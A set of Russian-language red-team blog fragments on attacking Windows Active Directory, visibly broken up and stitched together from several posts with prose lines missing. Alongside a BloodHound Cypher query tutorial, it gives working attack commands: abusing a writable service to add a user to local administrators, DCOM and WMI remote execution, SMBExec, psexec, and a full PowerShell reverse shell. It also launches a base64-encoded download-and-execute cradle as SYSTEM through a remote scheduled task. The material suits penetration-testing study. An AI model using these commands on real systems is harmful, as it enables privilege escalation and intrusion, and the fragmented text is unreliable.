WebClient
может помочь в использовании техники HTTP Relay в LDAP. По умолчанию служба WebClient
отключена. WebClient
. ADSI запрос выбирает из домена все незаблокированные объекты компьютер. Так же скрипт содержит ключ bloodhound
, который формирует Cypher запросы на добавление нового свойства к узлу:function Check-Webclient{
[CmdletBinding()]
Param (
[Parameter (Mandatory=$false, Position=0)]
[switch]
$bloodhound
)
$searcher = [adsisearcher]'(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
$searcher.PageSize = 1000
$comps=$searcher.FindAll()
foreach($comp in $comps)
{
if(Get-ChildItem -Path "\\$($comp.Properties.name.Item(0))\pipe\DAV RPC SERVICE" -ea SilentlyContinue)
{
if($bloodhound)
{
$sid = (New-Object System.Security.Principal.SecurityIdentifier($comp.Properties.objectsid.Item(0),0)).Value
Write-Host "MATCH (c:Computer {objectid:'$sid'}) SET c.webclient = TRUE;"
}
else
{
Write-Host -ForegroundColor Green "[!] WebClient is enabled on $($comp.Properties.name.Item(0))"
}
}
}
}
bloodhound
, то результат можно вставить в браузер neo4j и в результате информация будет доступна для последующий Cypher запросов. Так, например найти короткие пути до узлов, имеющих высокую ценность:MATCH p=AllShortestPaths((c:Computer {webclient:TRUE})-[*1..]->(n {highvalue:TRUE})) RETURN p
red
и black
для обнаружения наиболее критичных недостатков. Сегодняшний пост о небезопасной настройке ACL служб через групповые политики.A Windows service's ACL is being configured to grant abusable permissions to a target trustee. This should allow local privilege escalation on affected hosts. Service: wuauserv, Trustee: Authenticated Users - S-1-5-11
."wuauserv",4,"D:AR(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWLOCRRC;;;IU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
MATCH(g:GPO {name:"VULNSERVICE@DOMAIN.LOCAL"})-[:GPLink|Contains*1..]->(c:Computer) RETURN c.name
sc.exe qc wuauserv
BINARY_PATH_NAME
для последующего восстановления.BINARY_PATH_NAME
на то, что хотим выполнить на компьютере, например добавить себя в группу локальных администраторов.sc.exe config wuauserv binPath= "net.exe localgroup administrators victim /add"
sc.exe start wuauserv
sc.exe stop wuauserv
sc.exe start wuauserv
sc.exe \\server start wuauserv
Access Denied
не появилась, попытаемся добавить себя в группу локальных администраторов и запускаем службу:sc.exe \\server config wuauserv binPath= "net.exe localgroup administrators victim /add"
sc.exe \\server start wuauserv
BINARY_PATH_NAME
в исходное состояние.MATCH p=shortestPath((n)-[*1..]->(m {highvalue:true})) WHERE m.domain="DOMAIN.LOCAL" AND m<>n
UNWIND nodes(p) AS t
WITH distinct(t) WHERE (t:User OR t:Computer)
RETURN t.name,labels(t)[0] AS nodetype
MATCH p=(u:User)-[:MemberOf|AdminTo*1..]->(c:Computer)
UNWIND relationships(p) as t
RETURN
startNode(t).name as startnode,
type(t) as relation,
endNode(t).name as endnode
serviceprincipalname
.[“var1”,”var2”]
. Как и в других языках список имеет индекс и к элементам списка можно обращаться по его индексу. MATCH(n)-[r:AdminTo]->(c:Computer) RETURN n.name,labels(n),c.name
Base
. Чтобы избавиться от этого значения, можно поставить индекс первого элемента: labels(n)[0]
. В результате вывод будет более красивым.UNWIND
. Чтобы получить данные SPN в виде отдельных записей можно выполнить запрос Cypher:MATCH (c:Computer)
UNWIND c.serviceprincipalnames AS spn
RETURN c.name, spn
MATCH (c:Computer)
UNWIND c.serviceprincipalnames AS spn
WITH c,spn
WHERE spn CONTAINS "SQL"
RETURN DISTINCT c.name
MATCH(c:Computer)
WHERE ANY (x IN c.serviceprincipalnames WHERE x =~ "(?i).*sql.*")
RETURN c.name
x
это промежуточный результат, в котором уже выполняется проверка на совпадение.ANY
в предыдущем запросе нужно заменить на NOT ANY
или NONE
MATCH(c:Computer)
WHERE NONE (x IN c.serviceprincipalnames WHERE x =~ "(?i).*sql.*")
RETURN c.name
COLLECT
. Например, нужно собрать всех пользователей, которые являются администраторами домена, в список запрос в Cypher будет следующим:MATCH(u:User)-[r:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}) return COLLECT(u.name)
MATCH (c:Computer {name:"COMP.DOMAIN.LOCAL"}) SET c.ports = ["445", "3389"]
SET
. Самым простым примером является изменения свойства Compromised
в базе neo4j это свойство называется owned
, оно определяется булевым значением false
или true
. Чтобы изменить это свойство нужно выполнить запрос Cypher:MATCH (u:User) WHERE u.name = "USER@DOMAIN.LOCAL" SET u.owned = TRUE RETURN u.name,u.owned
SET
, например при выполнении Kerberoasting был пароль был успешно подобран и эту информацию можно добавить в базу neo4j, запрос Cypher буде следующим:MATCH (u:User) WHERE u.name = "SVC_SQL@DOMAIN.LOCAL" SET u.password = "Qwerty123" RETURN u.name,u.password
EXTRA PROPERTIES
поэтому изменять код для отображения новых свойств не требуется. Однако, новые свойства отображаются при повторном запросе объекта.password
для удаления свойства в Cypher используется оператор REMOVE
:MATCH (u:User) WHERE u.name = "USER@DOMAIN.LOCAL" REMOVE u.password RETURN u.name,u.password
MATCH (u:User) WHERE u.name = "USER@DOMAIN.LOCAL" SET u.password = NULL RETURN u.name,u.password
NOT
инвертирует условие. Например, при анализе атрибута Description было обнаружено, что некоторые учетные записи имеют описание, связанное с заявками в Help Desk. Заявки имеют идентификационный номер, которые администраторы иногда вносят в атрибут Description. Идентификационный номер часто имеет буквенный префикс (например, «HDQ»), задача стоит в том, чтобы исключить из вывода все такие записи:MATCH(u:User) WHERE (NOT(u.description CONTAINS "HDQ")) RETURN u.name,u.description
=~
позволяет использовать регулярные выражения в запросах. В регулярном выражении использовать логическое «ИЛИ» |
чтобы искать по нескольким значениям. Например, посмотреть есть ли в атрибуте Description слова «пароль» или «password», тогда запрос в Cypher будет иметь следующий вид:MATCH(u:User) WHERE u.description =~ "(?i).*(парол|passw).*" RETURN u.name,u.description
(?i)
сообщает, что регистр не важен.AND
и OR
. Например, необходимо проверить какие активные учетные записи будут входить в группу доменных администраторов. Запрос в Cypher будет таким:MATCH (u:User)-[r:MemberOf*0..]->(g:Group) WHERE u.enabled=TRUE AND g.name = "DOMAIN ADMINS@DOMAIN.LOCAL" RETURN u.name
MATCH (u:User)-[r:MemberOf*0..]->(g:Group) WHERE g.name = "ADMINISTRATORS@DOMAIN.LOCAL" OR g.name = "DOMAIN ADMINS@DOMAIN.LOCAL" RETURN u.name,g.name
EXISTS
может использоваться для проверки отношения. Например, проверить есть ли пользователи, которые имеют права GenericAll
на группы:MATCH(u:User) WHERE EXISTS {(u)-[r:GenericAll]->(g:Group)} RETURN u.name
<свойство>:<значение>
. Например, определить на каких машинах используется LAPS можно следующим образом:MATCH (c:Computer {haslaps:true}) return c
MATCH (c:Computer {enabled:true, haslaps:true}) return c
User
и Computer
и только в некоторых случаях этого будет достаточно. Для указания более точных критериев поиска используется ключевое слово WHERE
. Ключевое слово WHERE
может использоваться для всех свойств объекта.=
. Могут приниматься булевы значения false
и true
. Например, найти всех членов группы администраторов домена:MATCH (u:User)-[r:MemberOf*0..]->(g:Group) g.name = "DOMAIN ADMINS@DOMAIN.LOCAL" RETURN u.name
<>
- противоположен предыдущему оператору. Например, найти все компьютеры, которые не являются контроллерами домена:MATCH (c:Computer)-[r:MemberOf]->(g:Group) WHERE g.name <> "DOMAIN CONTROLLERS@DOMAIN.LOCAL" RETURN c.name
>
, «больше или равно» >=
, «меньше чем» <
и «меньше или равно» <=
используются для сравнения чисел. В BloodHound, наверно, нет числовых значение, кроме результатов работы с датами или сложные запросы с использованием, но об этом в отдельной теме.IS NOT NULL
проверяет наличие значения в свойстве. В качестве примера известная проверка непустого атрибута Description
:MATCH (u:User) WHERE u.description IS NOT NULL RETURN u.name
IS NULL
– является противоположным предыдущему оператору. В качестве примера выполнить поиск потенциальных пресозданных машин, часто такие машины имеют пустой атрибут operatingsystem
:MATCH (c:Computer) WHERE c.operatingsystem IS NULL RETURN c.name
CONTAINS
проверяет наличие передаваемого значения в свойстве. Например, найти доменные группы в имени, которых встречается слово «DBA» (администраторы баз данных):MATCH (g:Group) WHERE g.name CONTAINS "DBA" RETURN g.name
STARTS WITH
позволяет указывать префикс для значения свойства. Имеет смысл использовать для свойств имени, например, найти все учетные записи с префиксом ADM
:MATCH (u:User) WHERE u.name STARTS WITH "ADM" RETURN u.name
ENDS WITH
аналогичен предыдущему, но с указанием постфикса. Этот оператор удобно использовать для указания RID, например, вместо имени группы или если в базе есть результаты из нескольких доменов и нужны данные только из определенного. В качестве примера требуется подсчитать столько учетных записей пользователей есть в домене «CHILD.DOMAIN.LOCAL». Запрос в Cypher будет следующим:MATCH (u:User) WHERE u.name ENDS WITH "CHILD.DOMAIN.LOCAL" RETURN count(u)
RETURN
. MATCH (u:User) RETURN u
MATCH (u:User)-[r:CanRDP]->(c:Computer) RETURN u,r,c
RETURN
r
, то в результате получим объекты без связей. Если у нас будет длинный запрос состоящие из цепочки нескольких переменных, то для этого придется выводить указывать все переменные:MATCH (u:User)-[r:MemberOf*1..]->(g:Group)-[r1:CanRDP]->(c:Computer) return u,r,g,r1,c
r
и r1
это связанно с тем, что все переменные должны быть уникальными.MATCH p=(u:User)-[r:MemberOf*1..]->(g:Group)-[r1:CanRDP]->(c:Computer) return p
REURN
указываются необходимые свойства. Шаблон для такого вывода <переменная>.<свойство>
. Если необходимо вывести несколько свойств, то они разделяются запятой. Например, чтобы изучить атрибут description
пользователей для вывода нужны только свойства name
и description
тогда запрос Cypher будет следующим (пока без добавления условия пустого свойства):MATCH(u:User) RETURN u.name,u.description
AS
. В качестве примера возьмем предыдущий запрос и изменим заголовки на более читаемые:MATCH(u:User) RETURN u.name AS Login,u.description AS Description
count()
. Например, необходимо подсчитать количество учетных записей пользователей в домене:MATCH(u:User) RETURN count(u)
ORDER BY
позволяет упорядочивать вывод данных, а DESC
позволяет изменять направления порядка. Например, нужно узнать у какого пользователя больше связей AdminTo
:MATCH (u:User)-[r:AdminTo]->(c:Computer) RETURN u.name, count(c) AS Comps ORDER BY Comps DESC
LIMIT n
позволяет ограничить вывод данных n строками. С точки зрения анализа данных во время проведения работ это не нужно, наверно, кроме случаев тестирования запросов. В интерфейсе BloodHound если указывается не полное имя объекта (без имени домена), то в выводе данных устанавливается LIMIT 10 и это нужно учитывать при анализе данных. SKIP n
позволяет пропустить первые n строчек. По умолчанию браузер neo4j выводит только 1000 строк, можно изменить значение Result view max rows
в настройках или использовать SKIP
чтобы увидеть следующую 1000 строк. CREATE
и MERGE
– создание нового элемента;MATCH
- выполнение выборки;SET
и REMOVE
– добавление или удаление свойств;WHERE
– условие;RETURN
– возврат результата;DELETE
– удаление элементов;MATCH (var1)-[:Тип связи]->(var2) WHERE … RETURN var1, var2
MATCH (u:User)-[r:CanRDP]->(c:Computer) RETURN u,r,c
u
,r
,c
будут передаваться результаты выборки, это необязательно если не нужно выделять какие-то особые условия, но для возврата данных нужно все равно определить переменную:MATCH p=(:User)-[CanRDP]->(:Computer) RETURN p
label
будет влиять на скорость выполнения запроса, но и результат может быть другим. Например, в запросе выше упускается тот факт, что группы тоже могут иметь связь CanRDP
. Таким образом в запросе можно опустить указание User
, и он будет выглядеть следующим образом:MATCH p=(u)-[r:CanRDP]->(c:Computer) RETURN p
ShortestPath
и AllShortestPaths
как можно догадаться разница между ними в том, что первый находит один короткий путь, а второй все (при наличии такой возможности). Формирование коротких путей будет занимать большое количество времени поэтому нужно добавлять условия для снижения нагрузки на базу данных. Пример запроса всех путей от пользователей до группы доменных администраторов будет выглядеть следующим образом:MATCH p=allshortestpaths((u:User)-[*1..]->(g:Group)) where g.name = "DOMAIN ADMINS@DOMAIN.LOCAL" RETURN p
portproxy
в netsh
. Для настройки netsh
требуются права локального администратора, а также должна быть включена служба iphlpsvc
. Проверить службу можно с помощью командыGet-Service iphlpsvc
v4tov6
, v6tov4
, v4tov4
и v6tov6
.netsh interface portproxy add v4tov4 listenaddress=10.10.10.10 listenport=4444 connectaddress=192.168.56.10 connectport=3389
mstsc.exe /v:10.10.10.10:4444
netsh interface portproxy show all
add
на set
и поменять необходимые параметры в команде, представленной выше.netsh interface portproxy delete v4tov4 listenport=4444 listenaddress=10.10.10.10
netsh interface portproxy reset
Windows Distributed Component Object Model (DCOM) -это прозрачное промежуточное программное обеспечение, которое расширяет функциональные возможности COM за пределы локального компьютера с использованием технологии RPC. COM — это компонент интерфейса прикладного программирования Windows (API), обеспечивающий взаимодействие между программными объектами. Через COM клиентский объект может вызывать методы серверных объектов, которые обычно представляют собой библиотеки динамической компоновки (DLL) или исполняемые файлы (EXE).
Хотя некоторые исследователи пишут, что членство в группе `Distributed COM Users` дает возможность бокового перемещения мне не удалось найти объект DCOM для выполнения этой задачи без повышенных привилегий.
ShellWindows
(CLSID:9BA05972-F6A8-11CF-A442-00A0C90A8F39):$dcom = [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","comp2.windomain.local"))
$dcom[0].Document.Application.ShellExecute("сmd.exe", "/c whoami > c:\Windows\Temp\result.txt")
C$
или на общий ресурс, затем считывать данные и отдавать их в «консоль» и удалять файл. C$
должен быть доступен. SMBExec предоставляет псевдо интерактивную оболочку. Smbexec domain/user:password@comp -dc-ip <ip>
BTOBTO
, которая выполняет последовательность из трех команд от имени SYSTEM. Первая команда создает в C:\Windowns\Temp\
файл execute.bat
. Данный файл содержит команду результат, которой будет перенаправляться в файл \\127.0.0.1\с$\__output
. Ошибки выполнения так же будут перенаправляться в этот файл. Вторая команда будет запускать файл execute.bat
, а третья удалять его. __output
из общего ресурса \\comp\c$
и удаляет его вместе со службой. А в консоли выдает содержимое файла __output
.$client = New-Object System.Net.Sockets.TCPClient('comp1',8080);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
}
$client.Close()
$s = "IEX (New-Object System.Net.Webclient).DownloadString('\\share\shell.txt')"
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($s))
schtasks /create /S server /SC Daily /RU "NT Authority\SYSTEM" /TN "LMExample" /TR "powershell -enc <base64>"
powercat -l -p 8080
schtasks /run /S comp /TN "LMExample"
schtasks /delete /S comp /TN "LMExample"
Общий доступ к файлам и принтерам
должен быть включенADMIN$
должен быть доступенPsexec.exe -accepteula \\comp cmd.exe
В данном случае будет выполняться попытка создания и запуска службы в контексте текущего пользователя. Но можно указать другие учетные данные через ключ -u
Psexec.exe -accepteula \\comp -u domain\user cmd.exe
В новых версиях утилиты psexec может возникнуть ошибка Logon failure: the user has not been granted the requested logon type at this computer
, чтобы ее исправить необходимо добавить ключ -i
.ADMIN$
. Затем psexec на удаленном хосте создает службу c таким же названием PSEXESVC
и запускает ее. Файл PSEXESVC.EXE создает именованный канал (pipe) с одноименным названием. Через этот именованный канал происходит обмен данными межу psexec и удаленным хостом.sc.exe
. Команда sc.exe
при подключении к удаленному компьютеру использует RPC на 135 порту и требует привилегии локального администратора. Remote Desktop Users
, а для выполнения задачи требуется доступ по RDP. Создание и запуск службы на удаленной машине будет выглядеть следующим образом:sc.exe \\comp.domain.local create AddUserToRDP binpath= "net localgroup 'Remote Desktop Users' user /add"
sc.exe \\comp.domain.local start AddUserToRDP
psexec
использует службу только для запуска именованного канала, который используется для взаимодействия.sc.exe \\comp.domain.local delete AddUserToRDP
sc.exe
службами можно управлять и с помощью WMI.wmic
. И хотя Microsoft сообщало, что утилита будет удалена из операционной системы она еще встречается.wmic /node:comp.domain.local /user:domain\user /password:Qwerty123 process call create "C:\Windows\System32\calc.exe"
Get-WmiObject
$process = Get-WmiObject -query "SELECT * FROM Meta_Class WHERE __Class = 'Win32_Process'" -namespace "root\cimv2" -computername comp1
$results = $process.Create( "calc.exe" )
Get-WmiObject -Namespace ROOT\StandardCIMV2 -Class MSFT_NetTCPConnection -ComputerName comp| Select-Object LocalAddress, RemoteAddress, RemotePort, State
Remote Management Users
.MATCH p=(u)-[r:CanPSRemote|MemberOf1*..]->(c:Computer) return p
Invoke-Command
и создания интерактивной оболочки Enter-PSSession
на удаленном хосте.Invoke-Command
будет следующим:Invoke-Command –ComputerName comp -ScriptBlock {hostname}
Invoke-Command
можно передавать выполнение скрипта, без необходимости загружать его на удаленный хост:Invoke-Command -ComputerName comp -FilePath .\script.ps1
Invoke-Command
можно использовать для выполнения на нескольких машинах, что удобно для получения полезной информации, например, проверить наличие дополнительных сетевых интерфейсов. А список машин передать через чтение содержимого файла.Invoke-Command -ComputerName $(Get-Content comps.txt) -ScriptBlock {ipconfig}
Enter-PSSession -ComputerName comp
exit
New-PSSession
:New-PSSession -ComputerName comp1
Get-PSSession
Invoke-Command
или Enter-PSSession
нужно указать его id через параметр -id
. Например:Enter-PSSession -id 1
Invoke-Command
будет иметь следующий вид:Invoke-Command -Session (Get-PSSession) -ScriptBlock {hostname}
Copy-Item
необходимо использовать параметры -toSession
или -fromSession
. В которые сессии указываются через Get-PSSession
:Copy-Item -ToSession (Get-PSSession -id 1) -Path .\file.txt -Destination "c:\temp\"
Get-PSSession | Disconnect-PSSession
-Credential
для передачи альтернативных учетных данных. Это полезно при подключении с не доменного хоста.